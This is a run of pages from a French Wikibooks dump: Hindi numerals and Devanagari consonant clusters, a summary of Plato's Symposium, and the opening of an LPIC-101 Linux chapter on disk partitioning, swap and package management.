http://www.gnu.org/copyleft/fdl.html == Utilisation sous Wikibooks == Pour spécifier qu'un article (ou image, ...) se trouve sous licence GNU, il suffit de rajouter le code suivant : <nowiki>{{GFDL}}</nowiki>, ce qui donne ceci : {{GFDL}} GFDL 610 12303 2004-10-16T10:05:50Z Yann 2 GFDL déplacé vers Licence de documentation libre GNU #REDIRECT [[Licence de documentation libre GNU]] Image:Gnu-head.png 611 12304 2004-10-16T10:08:27Z Yann 2 Symbole de GNU, tête de gnou. {{GFDL}} 1996, 1997, 1998, 2004 Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111, USA. Verbatim copying and distribution of this entire article is permitted worldwide without royalty in any medium provided this notice is preserved. Nombres (hindi) 612 23140 2005-10-14T22:46:22Z Greudin 1 restitution de la dernière modification de BernardM {{hindi}} ==Symboles devanagari== Le '''hindi''' possède ses propres signes pour représenter les chiffres. {| |----- | '''Nombres''' |----- | <font size="+1"> ० </font> || 0 |----- | <font size="+1"> १ </font> || 1 |----- | <font size="+1"> २ </font> || 2 |----- | <font size="+1"> ३ </font> || 3 |----- | <font size="+1"> ४ </font> || 4 |----- | <font size="+1"> ५ </font> || 5 |----- | <font size="+1"> ६ </font> || 6 |----- | <font size="+1"> ७ </font> || 7 |----- | <font size="+1"> ८ </font> || 8 |----- | <font size="+1"> ९ </font> || 9 |} ==Traduction== {| |- ! Nombre !! Traduction |- | 1 || एक |- | 2 || दो |- | 3 || तीन |- | 4 || चार |- | 5 || पाँच |- | 6 || छः |- | 7 || सात |- | 8 || आठ |- | 9 || नौ |- | 10 || दस |- | 11 || ग्यारह |- | 12 || बारह |- | 13 || तेरह |- | 14 || चौदह |- | 15 || पंद्रह |- | 16 || सोलह |- | 17 || सत्रह |- | 18 || अठारह |- | 19 || उन्नीस |- | 20 || बीस |} Combinaisons des consonnes (hindi) 613 12306 2005-06-03T22:31:58Z BernardM 222 /* Cas particuliers */ द्म {{hindi}} La [[devanagari]] permet des combinaisons de consonnes. ==Cas réguliers== {| border="1" cellspacing="0" cellpadding="3" |- ! 1er ! 2e ! Symbole ! Exemple ! Transcription ! Traduction |- | <font size="+1">क्</font> || <font size="+1">र</font> || <font size="+1">क्र</font> || <font size="+1">क्रान्ती</font> || kranti || révolution |- | <font size="+1">क्</font> || <font size="+1">स</font> || <font size="+1">क्स</font> || <font size="+1">टैक्सिला</font> || taiksilâ || [[w:Taxila|Taxila]] (ville pakistanaise) |- | <font size="+1">क्</font> || <font size="+1">ल</font> || <font size="+1">क्ल</font> || <font size="+1">क्लास</font> || klâs || classe |- | <font size="+1">क्</font> || <font size="+1">य</font> || <font size="+1">क्य</font> || <font size="+1">क्या</font> || kya || qu'est-ce que |- | <font size="+1">ख्</font> || <font size="+1">म</font> || <font size="+1">ख्म</font> || <font size="+1">ख्मेर</font> || khmer || khmer |- | <font size="+1">ख्</font> || <font size="+1">य</font> || <font size="+1">ख्य</font> || <font size="+1">मुख्य</font> || mukhya || principal |- | <font size="+1">ग्</font> || <font size="+1">ञ</font> || <font size="+1">ग्ञ</font> || <font size="+1"></font> || || |- | <font size="+1">ग्</font> || <font size="+1">र</font> || <font size="+1">ग्र</font> || <font size="+1">अंग्रेज़ी</font> || angrezî || anglais |- | <font size="+1">ग्</font> || <font size="+1">य</font> || <font size="+1">ग्य</font> || <font size="+1">ग्यारह</font> || gyârah || onze |- | <font size="+1">च्</font> || <font size="+1">च</font> || <font size="+1">च्च</font> || <font size="+1">बच्चा</font> || bachchâ || petit garçon |- | <font size="+1">च</font> || <font size="+1">छ</font> || <font size="+1">च्छ</font> || <font size="+1">अच्छा</font> || achchhâ || bien |- | <font size="+1">ट्</font> || <font size="+1">ट</font> || <font size="+1">ट्ट</font> || <font size="+1">छुट्टी</font> || chhuTTî || vacance |- | <font size="+1">ट्</font> || <font size="+1">र</font> || <font size="+1">ट्र</font> || <font size="+1">ट्रेन</font> || tren || train |- | <font size="+1">ठ्</font> || <font size="+1">र</font> || <font size="+1">ठ्र</font> || <font size="+1">ठ्रेइन</font> || trein || train (avec l'accent brittanique ou américain) |- | <font size="+1">ड्</font> || <font size="+1">र</font> || <font size="+1">ड्र</font> || <font size="+1">ड्राइव करना</font> || drâiv karnâ || conduire |- | <font size="+1">ढ्</font> || <font size="+1">र</font> || <font size="+1">ढ्र</font> || <font size="+1"></font> || || |- | <font size="+1">ण्</font> || <font size="+1">ट</font> || <font size="+1">ण्ट</font> || <font size="+1">घण्टा</font> || ghantâ || heure |- | <font size="+1">ण्</font> || <font size="+1">ड</font> || <font size="+1">ण्ड</font> || <font size="+1">पण्डित</font> || pandit || [[w:en:pandit|pandit]] |- | <font size="+1">ण्</font> || <font size="+1">र</font> || <font size="+1">ण्र</font> || <font size="+1"></font> || || |- | <font size="+1">त्</font> || <font size="+1">न</font> || <font size="+1">त्न</font> || <font size="+1">पत्नी</font> || patnî || femme (épouse) |- | <font size="+1">थ्</font> || <font size="+1">र</font> || <font size="+1">थ्र</font> || <font size="+1"></font> || || |- | <font size="+1">द्</font> || <font size="+1">ध</font> || <font size="+1">द्ध</font> || <font size="+1">बुद्ध</font> || buddha || Buddha |- | <font size="+1">द्</font> || <font size="+1">र</font> || <font size="+1">द्र</font> || <font size="+1"></font> || || |- | <font size="+1">द्</font> || <font size="+1">व</font> || <font size="+1">द्व</font> || <font size="+1">द्वार</font> || dvâr || portail |- | <font size="+1">ध्</font> || <font size="+1">र</font> || <font size="+1">ध्र</font> || <font size="+1"></font> || || |- | <font size="+1">न्</font> || <font size="+1">त</font> || <font size="+1">न्त</font> || <font size="+1">इन्तज़ार</font> || intazâr || attente |- | <font size="+1">न्</font> || <font size="+1">र</font> || <font size="+1">न्र</font> || <font size="+1"></font> || || |- | <font size="+1">न्</font> || <font size="+1">स</font> || <font size="+1">न्स</font> || <font size="+1">फ्रान्स</font> || frâns || France |- | <font size="+1">प्</font> || <font size="+1">र</font> || <font size="+1">प्र</font> || <font size="+1">प्रेम</font> || prem || amour |- | <font size="+1">फ़्</font> || <font size="+1">त</font> || <font size="+1">फ़्त</font> || <font size="+1">हफ़्ता</font> || haftâ || semaine |- | <font size="+1">फ्</font> || <font size="+1">र</font> || <font size="+1">फ्र</font> || <font size="+1">फ्रान्स</font> || frâns || France |- | <font size="+1">ब्</font> || <font size="+1">ब</font> || <font size="+1">ब्ब</font> || <font size="+1">मुहब्बत</font> || muhabbat || amour |- | <font size="+1">ब्</font> || <font size="+1">र</font> || <font size="+1">ब्र</font> || <font size="+1">क़ब्र</font> || kabr || tombe |- | <font size="+1">भ्</font> || <font size="+1">र</font> || <font size="+1">भ्र</font> || <font size="+1"></font> || || |- | <font size="+1">म्</font> || <font size="+1">ब</font> || <font size="+1">म्ब</font> || <font size="+1">अम्बर</font> || Ambar || prénom |- | <font size="+1">म्</font> || <font size="+1">ह</font> || <font size="+1">म्ह</font> || <font size="+1">तुम्हारा</font> || tumhârâ || ton/vos |- | <font size="+1">र्</font> || <font size="+1">च</font> || <font size="+1">र्च</font> || <font size="+1">मिर्च</font> || mirch || piment |- | <font size="+1">र्</font> || <font size="+1">त</font> || <font size="+1">र्त</font> || <font size="+1">मूर्ति</font> || mûrti || statue |- | <font size="+1">र्</font> || <font size="+1">थ</font> || <font size="+1">र्थ</font> || <font size="+1">विद्यार्थी</font> || vidyârthî || étudiant |- | <font size="+1">र्</font> || <font size="+1">फ़</font> || <font size="+1">र्फ़</font> || <font size="+1">सिर्फ़</font> || sirf || seulement |- | <font size="+1">र्</font> || <font size="+1">य</font> || <font size="+1">र्य</font> || <font size="+1">सूर्योदय</font> || sûryoday || aurore |- | <font size="+1">र्</font> || <font size="+1">स</font> || <font size="+1">र्स</font> || <font size="+1">कुर्सी</font> || kursî || chaise |- | <font size="+1">ल्</font> || <font size="+1">द</font> || <font size="+1">ल्द</font> || <font size="+1">जल्दी</font> || jaldî || rapidement |- | <font size="+1">ल्</font> || <font size="+1">म</font> || <font size="+1">ल्म</font> || <font size="+1">फ़िल्म</font> || film || film |- | <font size="+1">व्</font> || <font size="+1">र</font> || <font size="+1">व्र</font> || <font size="+1"></font> || || |- | <font size="+1">ष्</font> || <font size="+1">र</font> || <font size="+1">ष्र</font> || <font size="+1"></font> || || |- | <font size="+1">स्</font> || <font size="+1">क</font> || <font size="+1">स्क</font> || <font size="+1">स्कूल</font> || skûl || école |- | <font size="+1">स्</font> || <font size="+1">ज</font> || <font size="+1">स्ज</font> || <font size="+1">मस्जिद</font> || masjid || mosquée |- | <font size="+1">स्</font> || <font size="+1">ट</font> || <font size="+1">स्ट</font> || <font size="+1">स्टेशन</font> || steshan || station |- | <font size="+1">स</font> || <font size="+1">त</font> || <font size="+1">स्त</font> || <font size="+1">रास्ता</font> || râstâ || route |- | <font size="+1">स्</font> || <font size="+1">थ</font> || <font size="+1">स्थ</font> || <font size="+1">संस्थापक</font> || sansthâpak || fondateur |- | <font size="+1">स्</font> || <font size="+1">न</font> || <font size="+1">स्न</font> || <font size="+1">स्नान</font> || snân || |- | <font size="+1">स्</font> || <font size="+1">व</font> || <font size="+1">स्व</font> || <font size="+1">दशास्वमेध</font> || dashâsvamedh || |} ==Cas particuliers== {| border="1" cellspacing="0" cellpadding="3" |- ! 1er ! 2e ! Symbole ! Exemple ! Transcription ! Traduction |- | <font size="+1">क्</font> || <font size="+1">ष</font> || <font size="+1">क्ष</font> || <font size="+1">तक्षशिला</font> || Taksha-shilâ || ancien nom de la ville de Texila |- | <font size="+1">ज</font> || <font size="+1">ञ</font> || <font size="+1">ज्ञ</font> || <font size="+1">ज्ञान</font> || jyân || savoir (connaissance) |- | <font size="+1">त्</font> || <font size="+1">त</font> || <font size="+1">त्त</font> || <font size="+1">इकत्तीस</font> || ikattîs || trente et un |- | <font size="+1">त्</font> || <font size="+1">र</font> || <font size="+1">त्र</font> || <font size="+1">सत्रह</font> || satrah || dix-sept |- | <font size="+1">द्</font> || <font size="+1">म</font> || <font size="+1">द्म</font> || <font size="+1">पद्म</font> || padma || lotus |- | <font size="+1">द्</font> || <font size="+1">य</font> || <font size="+1">द्य</font> || <font size="+1">विद्यार्थी</font> || vidyârthî || étudiant |- | <font size="+1">न्</font> || <font size="+1">न</font> || <font size="+1">न्न</font> || <font size="+1">उन्नीस</font> || unnîs || dix-neuf |- | <font size="+1">श्</font> || <font size="+1">च</font> || <font size="+1">श्च</font> || <font size="+1">पश्चिम</font> || pashchîm || ouest |- | <font size="+1">श्</font> || <font size="+1">र</font> || <font size="+1">श्र</font> || <font size="+1">श्रीलंका</font> || shrîlankâ || Sri Lanka |- | <font size="+1">श्</font> || <font size="+1">व</font> || <font size="+1">श्व</font> || <font size="+1">विश्वविद्यालय</font> || vishvavidyâlay || université |} Philosophie/Histoire de la philosophie 615 47165 2006-07-03T08:04:49Z Guillaumito 46 [[Histoire de la philosophie]] déplacé vers [[Philosophie/Histoire de la philosophie]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|<[[Philosophie]] | width="34%" align="center"| | width="33%" align="right"|'''[[w:Origine de la philosophie|Origine de la philosophie]]>''' |} '''Introduction''' Ce manuel proposera l'apprentissage par les textes et les commentaires de la pensée des philosophes. '''Sommaire''' :[[w:Origine de la philosophie|Origine de la philosophie]] :'''[[Histoire de la philosophie - La philosophie antique|'''1. Philosophie antique]]''' :'''[[Histoire de la philosophie - La philosophie médiévale|'''2. Philosophie médiévale]]''' :'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]''' :'''[[Histoire de la philosophie - La philosophie des Lumières|'''4. Philosophie des Lumières]]''' :'''[[Histoire de la philosophie - Le XIXème siècle|'''5. Le XIX<sup>e</sup> siècle''']]''' :'''[[Histoire de la philosophie - La philosophie au XXème siècle|'''6. Philosophie au XXème siècle]] ''' Le Banquet 618 28352 2006-01-06T15:17:12Z 194.51.20.124 /* Discours d'Agathon */ '''Le Banquet''' est l'une des deux œuvres de [[Platon]] concernant la nature de l'[[amour]], l'autre étant ''[[Phèdre (Platon)|Phèdre]]''. Personnages du dialogue : Socrate, Agathon, Phèdre, Pausanias, Aristophane, Eryximaque, Alcibiade En l'an [[-416]] eu lieu un banquet à [[Athènes]]. Parmi les convives de ce banquet donné en l'honneur d'[[Agathon (poète)|Agathon]], poète tragique, disciple de [[Gorgias]], se trouvaient [[Socrate]] et [[Aristophane]]. La discussion, autour du thème de l'amour, devint légendaire.<br /> ==Introduction== Ce dialogue est une succession de discours, rapportés par Apollodore, discours qui sont énoncés par les convives du banquet, organisé par un ami de [[Socrate]], auquel ce dernier s'est rendu. Au cours du symposium (tel est le titre original, « banquet » n'étant qu'une approximation : pendant le symposium, l'on ne mange pas), les convives, qui ont déjà trop bu la veille, décident de prononcer des éloges à [[Éros]], car Phèdre est indigné : tous les [[dieu]]x sont chantés par les [[poète]]s, mais il n'y a pas d'éloge d'[[Eros]], un dieu pourtant si ancien et si important. Il faut donc célébrer la divinité : les différents discours se succèdent sous les applaudissements des convives. == Discours de Phèdre == C'est Phèdre qui prononce le premier discours.<br /> Eros, dit-il, est un [[dieu]] important, admirable surtout par son origine : il est le plus ancien et n'a ni père ni mère. D'abord, il y eut le [[chaos]], puis la [[Terre]] et Eros. Etant le plus ancien, il est pour nous la source des [[bien]]s les plus grands, car le principe qui doit inspirer les [[homme]]s qui cherchent à vivre comme il faut, c'est l'[[amour]]. En effet, la honte est liée à l'action laide, la recherche de l'honneur est liée à l'action belle : sans cela, il n'y a ni cité, ni individu pour réaliser des grandes et belles choses. Or, si on formait une [[cité]] ou une armée avec des amants et leurs aimés, chacun rejeterait ce qui est laid, et il y aurait émulation dans la recherche de l'honneur. Combattant ensemble, ils vaincraient l'humanité entière, car toute lâcheté est impossible quand on est prêt à mourir par amour. Enfin, celui que les dieux admirent le plus et honorent, c'est le sentiment de l'aimé pour l'amant : l'amant est plus [[divin]], inspiré par les dieux. == Discours de Pausanias == Après quelques autres discours, vient celui de Pausanias.<br /> Selon lui, il y a en réalité plusieurs [[Eros]] ; pour lequel faire un éloge ? Il n'y a pas d'[[Aphrodite]] sans Eros ; or, il y a deux Aphrodite, donc il y a deux Eros. La plus ancienne Aphrodite, fille d'Ouranos, est la Céleste, l'autre est la vulgaire. Or, une action n'est ni belle ni laide en elle-même, c'est la façon de l'accomplir qui la rend belle : donc Eros n'est pas indistinctement beau, seul est digne d'éloge celui qui incite à l'amour.<br /> === Eros vulgaire === L'Eros vulgaire aime l'aventure : il aime les [[femme]]s comme les garçons, les [[corps]] et les [[âme]]s. Il recherche des partenaires peu intelligents, car seul son but lui importe. Il fait l'[[amour]] au hasard, sans se demander si son action est bonne.<br /> === Eros céleste === L'autre Eros se rattache à l'Aphrodite céleste. Celle-ci s'adresse aux garçons et n'est pas insolente. Un tel Eros inspire en effet l'amour du sexe le plus fort et le plus intelligent. Mais il faudrait des règles de conduite pour éviter les comportements intempestifs des amants vulgaires. Chez certains l'homosexualité n'est pas honteuse, mais pour d'autres, elle est honteuse. Pour nous, prenons en considération les trois points suivant : *il est plus convenable d'aimer ouvertement et d'aimer des gens de meilleure famille, de haut mérite ; *celui qui est amoureux doit recevoir des encouragements : s'il fait une conquête, c'est une belle chose, s'il échoue, c'est honteux ; *on a toute [[liberté]] d'entreprendre une conquête, et l'extravagance n'est pas dans ce cas blâmée : on admet une forme d'[[esclavage]] inacceptable dans d'autres circonstances. L'amoureux peut même ne pas tenir ses promesses : un serment d'amour n'est pas un vrai serment. L'amoureux a donc une totale liberté. Pourtant, on fait des reproches aux aimés, on les empêche de parler à leurs amants. C'est qu'une action est belle si on se conduit comme il faut, honteuse autrement ; par exemple, céder à quelqu'un qui n'en vaut pas la peine, à l'amant vulgaire qui aime surtout le [[corps]]. Cet amant n'a pas de constance ; celui qui aime un caractère qui en vaut la peine reste un amant toute sa vie car il s'est fondu avec quelque chose de constant. La règle sera donc que l'amant poursuive et que l'aimé fuit : le [[temps]] qui passe sera en effet un excellent révélateur.<br /> Il n'y aura donc qu'une seule voie pour l'aimé de céder de belle manière, par l'esclavage volontaire à la vertu, car si l'on accepte d'être au service de quelqu'un pour devenir meilleur, cela n'est pas honteux. L'amant et l'aimé ont alors le même but : la [[justice]], devenir bon, être sage. Cela oblige l'amant et l'aimé à prendre soin d'eux-même pour devenir vertueux. Le reste appartient à l'[[Aphrodite]] vulgaire. Aristophane passe son tour car il a le hoquet. == Discours d'Eryximaque == Erryximaque, médecin, reprend la distinction des deux Eros en la rapportant à son art :<br /> pour lui, la distinction des deux Eros est bonne, mais elle ne concerne pas seulement les [[âme]]s des êtres humains : cela concerne toute chose qui recherche autre chose, comme le montre la [[médecine]]. Favoriser ce qu'il y a de bon et de sain dans chaque [[corps]] est [[beau]], et c'est celà la médecine, car elle est la [[science]] des opérations de remplissage et d'évacuation du corps que provoque Eros. En conséquence, celui qui distingue le bon Eros est un médecin accompli. Il doit savoir en outre faire apparaître l'affection et l'amour mutuels entre les choses qui sont en conflit : froid, chaud, sec, humide, etc. C'est en établissant l'amour et la concorde entre ces choses qu'[[Asclépios]] à fondé la médecine. La médecine, la [[gymnastique]], la [[musique]] sont gouvernées par ce dieu. En musique on réalise un accord par une opposition entre l'aigu et le grave : la musique crée l'amour mutuel, dans l'ordre de l'harmonie et du rythme, c'est une science des [[phénomène]]s de l'amour.<br /> Il faut donc partout sauvegarder l'un et l'autre amour : l'Eros bien reglé apporte l'abondance et la santé, et l'Eros de la démesure provoque de nombreuses destructions (épidemies, etc). Le déséquilibre dans les relations frappe les animaux et les plantes. De même, dans la communication entre les dieux et les hommes, il faut établir un lien d'amour par l'observation des lois divines, ce qui est la piété.<br /> La puissance d'Eros est universelle, et la modération et la justice donnent le bonheur et rendent possible le commerce et l'amitié. Aristophane, n'ayant plus le hoquet, commence son discours. == Discours d'Aristophane == Les hommes ne se rendent pas compte du pouvoir d'Eros, sinon ils lui auraient élevé les temples les plus imposants. Nul dieu n'est mieux disposé à l'égard des humains.<br /> Qu'était la nature humaine, et que lui est-il arrivé ? Notre nature était autrefois différente : il y avait trois catégories d'êtres humains, le [[mâle]], la [[femelle]], et l'androgyne. Ensuite, la forme humaine était celle d'une sphère avec quatre mains, quatre jambes et deux visages, une tête unique et quatre oreilles, deux sexes, etc. Ils se déplaçaient en avant ou en arrière, et, pour courir, ils faisaient des révolutions sur leurs huit membres. Le mâle était un enfant du soleil, la femelle de la terre, et l'androgyne de la lune. Leur [[force]] et leur orgueil étaient immenses et ils s'en prirent aux dieux. [[Zeus]] trouva un moyen de les affaiblir sans les tuer : il les coupa en deux. Apollon retourna leur visage et cousit le ventre et le nombril du côté de la coupure?<br /> Mais chaque morceau, regrettant sa moitié, tentait de s'unir à elle : ils s'enlaçaient en désirant se confondre et mouraient de faim et d'inaction. Zeus décida donc de transporter les organes sexuels sur le devant. Ainsi, alors qu'il surgissaient auparavant de la terre, un engendrement mutuel fut possible par l'accouplement d'un [[homme]] et d'une [[femme]]. L'espèce était sauvée, et entre hommes, il y avait satiété, calmant le désir et permettant l'action et de s'occuper d'autres choses dans la vie.<br /> L'implantation de l'amour dans l'être humain est donc ancienne. C'est l'amour de deux êtres qui tentent de n'en faire qu'un pour guérir la nature humaine : nous sommes la moitié d'un être humain, et nous cherchons sans cesse notre moitié, de l'autre sexe ou du même sexe que nous.<br /> Quand nous rencontrons notre moitié, nous sommes frappés d'un sentiment d'affection et d'amour : nous refusons alors d'en être séparés. Qu'attendent-ils donc, ceux qui passent leur vie ensemble ? Ce n'est certes pas la jouissance sexuelle. C'est quelque chose que souhaite l'âme, qu'elle ne saurait exprimer ; et pourtant elle le devine : ce qu'elle souhaite, c'est se fondre le plus possible dans l'autre pour former un même [[être]]. C'est cela que nous souhaitons tous, nous transformer en un être unique. Personne ne le refuserait, car personne ne souhaite autre chose.<br /> Le nom d'amour est donc donné à ce souhait de retrouver notre totalité, et Eros est notre guide pour découvrir les bien-aimés qui nous conviennent véritablement. Le bonheur de l'espèce humaine, c'est de retourner à son ancienne nature grâce à l'amour, c'est là notre état le meilleur. Eros nous sert en nous menant vers ce qui nous est apparenté, il soulève en nous l'espoir de rétablir notre nature et de nous donner la félicité et le [[bonheur]]. == Discours d'Agathon == Les discours précédents n'ont pas dit, selon Agathon, ce qu'est le [[dieu]] lui-même. Il faut donc expliquer sa [[nature]] pour en faire l'éloge.<br /> [[Eros]] est le plus heureux des dieux, car il est le meilleur et le plus [[beau]]. Il est toujours jeune et fuit la vieillesses ; il est le plus jeune des dieux. Son règne est le règne de la concorde et de la [[paix]], par opposition à l'ancienne nécessité et aux actes violents qui en découlaient.<br /> Il est également un dieu délicat et n'aime la compagnie que de ce qui est tendre dans les âmes. Il fuit donc les caractères durs. Sa constitution est ondoyante et harmonieuse, il possède la grâce par excellence : il vit parmi les fleurs et les parfums.<br /> Eros exclut donc toute violence : il ne commet pas l'injustice, il ne la subit pas. Au contraire, en toute circonstance, chacun l'assiste. Il est modéré et tempérant car il domine les [[désir]]s. C'est un [[poète]] savant, créateur universel qui transforme en poète celui qu'il touche. Il a également un savoir dans la fabrication des êtres vivants, savoir qui fait naître et grandir tout ce qui vit. Dans la pratique des [[art]]s, c'est par désir et amour qu'[[Apollon]] inventa le tir à l'arc, la divination, etc. Tous les dieux sont donc des disciples d'Eros. Enfin, ce dieu nous interdit la croyance que nous sommes les uns les autres des étrangers : grâce à lui, nous appartenons à une même famille. Ce discours est très applaudi. [[Socrate]] va maintenant prendre la parole. == Discours de Socrate == === Nature d'Eros === Socrate est d'abord embarassé. Il s'exprime avec son ironie habituelle : il croyait qu'il fallait dire la vérité sur ce dont on fait l'éloge ! Or, il comprend qu'en fait il faut lui donner de grandes qualités, même s'il ne les a pas. Il décide de parler à sa façon en s'adressant à Agathon.<br /> Il est vrai que pour parler d'Eros, il faut en découvrir la nature. L'amour est-il amour de quelque chose ou de rien ? Il est désir de quelque chose, et s'il éprouve ce désir, c'est sans doute car il manque de ce qu'il désire, car on ne peut désirer ce qu'on possède. Eros n'est donc ni beau ni bon.<br /> C'est à ce moment que Socrate rapporte le discours le plus platonicien du dialogue, discours où il raconte son entretien avec une vieille sage-femme, Diotime, à propos d'Éros. La femme lui enseigne qu'Éros n'est pas un dieu, mais un « démon » (au sens grec), un être mi-homme mi-dieu : il ne dispose pas des qualités qu'on lui attribue généralement, comme la beauté, car il les recherche. Il est donc un être intermédiaire. Ainsi l'amour est-il philosophe, ni sage ni ignorant, mais cherchant la connaissance. === Procréation, immortalité et gloire === Enfin Diotime initie Socrate au secret d'Eros : tous les êtres cherchent à se reproduire ; l'instinct sexuel est l'expression la plus immédiate de ce désir d'immortalité. La production d'œuvres et la législation en sont les expressions les plus hautes. == Arrivée et discours d'Alcibiade == Alcibiade survient et, après une scène de jalousie, entreprend de faire l'éloge de Socrate, i.e. du philosophe, du dieu Eros lui-même. Socrate, dit-il, est un être excentrique qui nous trouble par sa parole : « les discours de la philosophie blessent plus sauvagement que la vipère. » Devant lui, j'ai honte de céder à l'attrait des honneurs. Il se donne l'air de ne rien savoir, mais à l'intérieur de ce silène se cache quelque chose de divin et de précieux.<br /> Socrate répond qu'Alcibiade pourrait s'illusionner, car « je ne suis rien. »<br /> Aucun humain ne peut être comparé à Socrate : tempérant, courageux même dans la déroute, il prononce des discours extérieurement ridicules mais divins et vrais. C'est la fin du banquet ; il se termine en beuverie. Le matin, Agathon, Aristophane et Socrate discutent de l'art de la tragédie. Agathon et Aristophane finissent par s'endormir. Socrate s'en va, passe tranquillement sa journée et rentre chez lui le soir se reposer. [[catégorie:Commentaire philosophique [[catégorie:Fiche de lecture (philosophie)]] C (langage) 620 12311 2004-10-18T19:18:01Z Yann 2 #REDIRECT [[Programmation C]] #REDIRECT [[Programmation C]] Installation de Linux & Gestion des packages (LPIC101) 630 16762 2005-07-19T07:10:21Z Yann 2 /* Utiliser le gestionnaire de package Red Hat (RPM) */ {{LPIC101}} == Organisation (layout) de disque dur == === Objectifs === Description : ''Les candidats devraient être capables de concevoir un plan de partitionnement de disque dur pour un système Linux. Cet objectif inclut l'allocation d'espace pour le système de fichiers et de swap pour séparer les partitions et les disques, et l'optimisation rationnelle de la construction en vue de l'usage prévu du système. Cela inclut de plus de placer /boot sur une partition conforme au besoin du BIOS pour pouvoir démarrer.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/ (root, système de fichiers racine) ;système de fichiers /var ;système de fichiers /home ;espace de swap ;points de montage ;partitions ;cylindre 1024 === Partitions === Lorsque l'on effectue une installation, il faut normalement créer au minimum deux partitions: * / root: répertoire qui contient la distribution Linux. * Espace d'echange(Swap) : partition qui permet au noyau de lancer plus de processus que ne peut normallement en contenir la RAM. Si plusieurs disques sont disponibles, une bonne pratique est d'avoir les répertoires /usr et /home sur des partitions différentes. Chaque partition contiendra un système de fichier et peut être monté sur une partition active et rattaché à l'arbre global du système de fichier. Pour afficher les systèmes de fichier montés, utiliser la commande "mount". $ mount dev/hda3 on / type reiserfs (rw) proc on /proc type proc (rw) devpts on /dev/pts type devpts (rw) /dev/hda1 on /boot type ext2 (rw) shmfs on /dev/shm type shm (rw) usbdevfs on /proc/bus/usb type usbdevfs (rw) La partition de swap ne nécessite pas de système de fichier, le noyau y accéde en mode "raw". Aucun appel système relatif au système de fichier "overhead". === Questions de performances des disques === Avant de décider du partitionnement, vous avez besoin de savoir exactement quelles sortes d'applications vous allez utiliser. * Serveur de messagerie * Serveur Web * Applications graphiques * Autres Si votre système posséde plusieurs disques, utilisez le plus rapide pour stocker la plupart de vos données. * / contiens la plupart des utilitaires systèmes et évolue peu. Il peut être monté sur le disque le plus lent. * /var/log contient beaucoup d'information relatif aux fonctionnement des différentes applications( y compris système). Il vaut mieux le placer sur un disque rapide. * /usr est typiquement installé sur une partition séparé. Si il y a beaucoup de connexions utilisant des clients X, mieux vaut l'installer sur disque rapide. La philosophie est que plus une partition est sollicité (et donc le disque qui l'héberge), plus elle peut être amené à devenir un goulôt d'étranglement pour le système aussi faut il la placer sur un disque rapide. '''Exemples d'applications:''' Pour un serveur de messagerie, Sendmail écrit dans deux principales files d'attentes, habituellement /var/spool/mqueue et /var/spool/mail. Apache utilise différent fichiers, deux fichiers de log, un pour les connexions et un pour les accés à la page en cours. Apache perd beaucoup de temps à écrire dans les logs. === Mémoire virtuelle === On peut afficher les informations sur la partition de "swap" à l'aide de swapon. swapon -s # Display the active partition Pour obtenir des renseignements sur l'utilisation de la mémoire virtuelle utilisez vmstat. $ vmstat -n 1 procs memory swap io system cpu r b w swpd free buff cache si so bi bo in cs us sy id 5 0 1 184 3228 37684 92828 0 0 37 19 124 228 3 0 97 1 0 0 184 3476 37684 92596 0 0 0 0 102 368 0 0 100 2 0 0 184 3476 37684 92596 0 0 0 0 101 328 0 0 100 R:processes waiting for run time. b: processes in uninterruptable sleep. w: processes swapped out. swpd: virtual memory used (kB). free: Idle memory (kB). buff: Memory used as buffers (kB). si: Memory swapped in from disk (kB/s). so: Memory swapped to disk (kB/s). bi: Blocks sent to a block device (blocks/s). bo: Blocks received from a block device (blocks/s). in: The number of interrupts per second. cs: The number of context switches per second. us: user time, sy: system time, id: idle time. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Ouvrez deux terminaux: Dans le premier terminal, affichez périodiquement le taux d'utilisation de la mémoire virtuelle. Dans le second terminal désactivez la mémoire virtuelle puis ré-activez la. Notifier ces changements dans le premier terminal. # What is the disk layout of your system and how many disks do you have? # Quelle quantité d'espace d'échange(swap) utilisez vous ? == Installer un gestionnaire de démarrage == === Objectifs === Description : ''Les candidats devraient être en mesure de sélectionner, d'installer et de configurer un gestionnaire de démarrage. Cet objectif inclut la fourniture de localisations de démarrage alternatif, la sauvergarde et la restauration des options de démarrage (par exemple booter sur une disquette). '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/etc/lilo.conf ;/boot/grub/grub.conf ;lilo ;grub-install ;MBR ;superblock ;first stage boot loader === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Compiler et installer des programmes à partir des sources == === Objectifs === Description : ''Les candidats doivent être en mesure de compiler et d'installer un programe exécutable à partir des sources. Cet objectif inclut d'être capable de décompacter un fichier depuis les sources. Les candidats devraient pouvoir faire des adaptations simples sur le Makefile, par exemple changer les chemins (paths) ou ajouter d'autres entrées aux dossiers.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;gunzip ;gzip ;bzip2 ;tar ;configure ;make === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Gérer les bibliothèques partagées == === Objectifs === Description : ''Les candidats devraient être en mesure de déterminer les bibliothèques partagées dont dépendent les programes exécutables et de les installer si nécessaire. Les candidats devraient pouvoir statuer sur l'endroit ou les bibliothèques système sont conservées.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;ldd ;ldconfig ;/etc/ld.so.conf ;LD_LIBRARY_PATH === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Utiliser le gestionnaire de package Debian == === Objectifs === Description : ''Les candidats devraient pouvoir assurer les tâches de gestion des packages en utilisant l'outil dédié de Debian (Debian package manager). Cet objectif implique la capacité d'utiliser la ligne de commande et les outils interactifs pour installer, mettre à jour, et désinstaller des packages, aussi bien que de trouver les packages contenant des fichiers ou programmes spécifiques (tel package doit ou ne doit pas être installé). Cet objectif inclut aussi de pouvoir obtenir des informations sur le package tel que la version, le contenu, les dépendances, l'intégrité du package et le statut de l'installation (si oui ou non le package est installé).'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;unpack ;configure ;/etc/dpkg/dpkg.cfg ;/var/lib/dpkg/* ;/etc/apt/apt.conf 